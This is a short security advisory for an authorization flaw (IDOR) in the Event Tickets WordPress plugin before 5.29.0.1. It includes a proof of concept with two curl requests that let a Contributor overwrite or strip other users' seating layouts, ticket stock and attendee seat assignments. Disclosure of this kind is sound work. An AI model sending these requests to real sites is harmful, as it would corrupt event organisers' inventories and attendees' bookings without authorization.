Event Tickets < 5.29.0.1 – Contributor+ Seating Layout and Ticket Inventory Modification via IDOR | CVE 2026-14823

Description

The plugin does not properly verify authorization on some of its seating actions, allowing users with contributor-level access and above to overwrite the seating layout, ticket inventory, and attendee seat assignments of events they do not own.

Proof of Concept

Attacker = a Contributor (edit_posts=yes, edit_post on others' posts=no). Precondition: the site uses the Seating feature with at least one seat layout configured.

1. As a Contributor, load any front-end event page offering seat selection; the seat-selection script embeds a valid tec-tickets-seating-service-ajax nonce for your session. Call it <NONCE>.
2. Confirm the nonce is the only gate (omit it -> 401 "Nonce verification failed").
3. Overwrite a foreign (not-your-own) seating-enabled event's layout/inventory:

curl -s -b cookies.txt -X POST "https://victim.example/wp-admin/admin-ajax.php" \
  --data "action=tec_tickets_seating_event_layout_updated&_ajax_nonce=<NONCE>&postId=<FOREIGN_EVENT_ID>&newLayout=<LAYOUT_ID>"

-> HTTP 200 {"success":true,...}; the foreign event's layout, capacity and global stock are overwritten, every ticket's capacity/stock is rewritten, and every attendee's seat label is erased. (A dummy newLayout returns 400 "Invalid layout ID", not 403, proving the authorization check is bypassed.)

4. Destructive variant (strip the layout, reset all tickets to capacity 1):

curl -s -b cookies.txt -X POST "https://victim.example/wp-admin/admin-ajax.php" \
  --data "action=tec_tickets_seating_event_layout_removal&_ajax_nonce=<NONCE>&postId=<FOREIGN_EVENT_ID>"